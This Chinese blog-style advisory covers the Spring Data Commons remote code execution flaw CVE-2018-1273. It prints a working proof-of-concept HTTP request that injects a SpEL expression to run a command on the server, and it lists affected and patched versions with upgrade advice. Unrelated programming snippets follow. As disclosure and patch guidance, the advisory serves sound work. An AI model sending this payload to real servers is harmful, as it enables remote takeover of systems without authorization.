POC验证测试Spring Data Commons组件远程代码执行漏洞(CVE-2018-1273)

Spring Data Commons爆出远程代码执行漏洞(CVE-2018-1273),攻击者可构造包含有恶意代码的SPEL表达式实现远程代码攻击,直接获取服务器控制权限。

这是POC验证漏洞的测试http请求:

POST /users HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded
Content-Length: 164
username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf


受影响范围

  • Spring Data Commons 1.13 - 1.13.10(Ingalls SR10)
  • Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
  • Spring Data Commons 2.0 - 2.0.5 (Kay SR5)
  • Spring Data REST 3.0 - 3.0.5 (Kay SR5)
  • 已不支持的旧版本

解决方案:

建议及时更新到官方最新版

Spring Data Commons组件:

  • 2.0.x版本用户更新至2.0.6
  • 1.13.x版本用户更新至1.13.11

已不支持的旧版本请更新到官方提供支持的最新版本

已经修复的版本:

  • Spring Data REST 2.6.11 (Ingalls SR11)
  • Spring Data REST 3.0.6 (Kay SR6)
  • Spring Boot 1.5.11
  • Spring Boot 2.0.1

版权声明:著作权归作者所有。

相关推荐

应该知道Vue UI组件(2018年)

Element这是饿了么前端团队开源桌面端的Vue UI组件。Github star 24k+。Github地址:https://github.com/ElemeFE/element中文文档:http://element-cn.eleme.io/#/zh-CNVux国内开源的专注于移动设备端的UI组件,基于Vue和微信的WeUI开发。Github star&

Java验证公私密钥对

验证过程:创建一个足够长的随机字节数,称为challenge使用密钥签名challenge使用公钥验证challenge示例代码:KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");  //密钥生成器 keyGen.initialize(2048); Ke

在shell脚本使用sftp登陆远程服务执行命令

有时我们需要定期登陆到远程服务器去去执行一些命令,sftp是一个让我们在shell脚本登陆到远程服务器的工具,这里演示一个例子:echo "sftp start" >> ~/logfile.log sftp username@host <<EOF >> ~/lo

JavaScript版身份证验证

这是用于验证身份证的工具函数,支持15位或18位省份证。/** * 身份证号码结构: * * 根据〖中华人民共和国国家标准GB11643-1999〗中有关公民身份号码的规定,公民身份号码是特征组合码,由十七位数字本体码和一位数字校验码组成。 * 排列顺序从左至右依次为:6位数字地址码,8位数字出生日期码,3位数字顺序码和1位数字校验码。 * * 地址码(前6位):表示对

Spring Boot集成kafka

Spring Boot对kafka提供了自动配置(auto configuration)。使用用Spring Boot只需要做很少的配置即可集成对kafka的访问。pom配置1、继承spring-boot-starter-parent<parent>   <groupId>org.springframework.boot&l

JVM 类执行机制:解释执行(interpreter)和编译执行(JIT)

JVM执行字节码有两种方式:解释模式(interpreter)和编译模式(jit)。整个java程序执行过程如下:使用javac把.java源文件编译为字节码,文件一般以.class作为后缀字节码经过JIT环境变量进行判断,是否属于热点代码(多次调用的方法,或循环等)热点代码使用JIT编译为可执行的机器码非热点代码使用解释器解释执行所有字节码解释器将每个Java指令都转译成对等的微处理器指令,并根